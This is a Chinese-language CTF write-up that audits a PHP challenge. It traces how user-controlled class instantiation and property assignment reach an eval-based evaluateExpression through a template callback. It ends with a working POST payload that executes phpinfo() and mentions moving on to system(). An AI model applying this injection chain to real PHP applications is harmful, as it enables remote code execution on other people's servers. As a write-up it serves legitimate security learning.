是一道算不上太难的php代码审计题

不过当时做的时候还是暴漏出自己的很多问题 像竟然不会post传数组

打开题目拿到审计下源码

<?php
spl_autoload_register(function($class){
    require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{

    public function __construct($action,$properties){

        $object=new $action();
        foreach($properties as $name=>$value)
            $object->$name=$value;
        $object->run();
    }
}

new Action($action,$properties);
?>

这里有个 run() 函数可以触发,接着可以审计附件中的源码。

先去找这个 run() 函数,可以在 ListView.php 这个文件里发现

image-20220427213059528

同时可以发现这几个类之间是继承的关系,所以在最后的 TestView.php 中可以使用上面文件中继承的类的属性和方法。执行 run() 函数后又执行 renderContent() 函数,那跳转到这个函数看一下

image-20220427213513496

这个函数执行一个正则匹配(这里表示匹配 {}及大括号里面的内容),当匹配到时则给回调函数去处理,template 是要匹配的字符串,第一个参数是匹配规则,中间的函数是回调函数(调用类中的函数的时是可以是使用数组的调用形式的,如上述的 array($this,'renderSection') 就是表示调用当前类中的renderSection函数 )。

来看看 renderSection 这个函数

image-20220427215242035

拿到正则匹配好的字符串,$matchers[1] 表示匹配 {} 里面的内容,可以本地测试一下

如这串代码

<?php
class test {
    function fun1($matches) {
        echo $matches[0];
        echo '</br>';
        echo $matches[1];
    }
}
$a = new test();
echo preg_replace_callback("/{(\w+)}/",array($a,'fun1'),"{123}");

最终输出结果

image-20220427215617432

所以这里可以传一个参数,让它和字符串 render 拼接后形成一个全新的字符串,接着执行 $this->$method() 。这里是我们可以控制的,关键是找到以 render 开头且没有参数的函数。

找下可以利用的函数,可以发现有很多。不急,可以看看其它的,在 base.php 中发现了一个十分危险的函数

image-20220427220054395

所以这个 evaluateExpression 函数是关键,那么结合上文的条件,我们就可以锁定这里的代码

TestView.php

public function renderTableRow($row)
    {
        $htmlOptions=array();
        if($this->rowHtmlOptionsExpression!==null)
        {
            $data=$this->data[$row];
            $options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
            if(is_array($options))
                $htmlOptions = $options;
        }

        if($this->rowCssClassExpression!==null)
        {
            $data=$this->dataProvider->data[$row];
            $class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
        }
        elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
            $class=$this->rowCssClass[$row%$n];

        if(!empty($class))
        {
            if(isset($htmlOptions['class']))
                $htmlOptions['class'].=' '.$class;
            else
                $htmlOptions['class']=$class;
        }
    }
    public function renderTableBody()
    {
        $data=$this->data;
        $n=count($data);
        echo "<tbody>\n";

        if($n>0)
        {
            for($row=0;$row<$n;++$row)
                $this->renderTableRow($row);
        }
        else
        {
            echo '<tr><td colspan="'.count($this->columns).'" class="empty">';

            echo "</td></tr>\n";
        }
        echo "</tbody>\n";
    }

这里 renderTableBody 函数满足以字符串 render 开头,且无参数,还可以去调用 renderTableRow($row)函数从而有办法去执行 evaluateExpression 函数,所以可以构造 template="{TableBody}"。这里 data 参数应为一个数组可以构造 data=array(1)。在 renderTableRow($row)函数中,参数 rowHtmlOptionsExpression为我们要在 eval 函数中的字符串。

回到一开始的代码

highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{

    public function __construct($action,$properties){

        $object=new $action();
        foreach($properties as $name=>$value)
            $object->$name=$value;
        $object->run();
    }
}

new Action($action,$properties);
?>

参数 action 为要创建的对象,从上文分析可知所需改变的参数都在 TestView 这个类中,所以需要 new 一个TestView 对象,即 GET 传参 ?action=TestView

构造函数中使用for循环给 TestView 对象中的某些属性赋值,这里我们按照上文分析的那样给它赋值

注意这里传的参数是数组类型,传递数组的格式是 property[key]=vale 传递二维数组是两个[],以此类推

这些参数都可以通过post传参来控制,所以POST的payload:

properties[template]={TableBody}&properties[data][]=1&properties[rowHtmlOptionsExpression]=phpinfo()

结果

image-20220427223158482

可以继续执行 system() 函数拿到flag。注意像 phpinfo() ,system() 这类的函数一般只要是执行了就会有会显的。

这次比赛还有道 phar反序列化+条件竞争的题,后面有时间再写。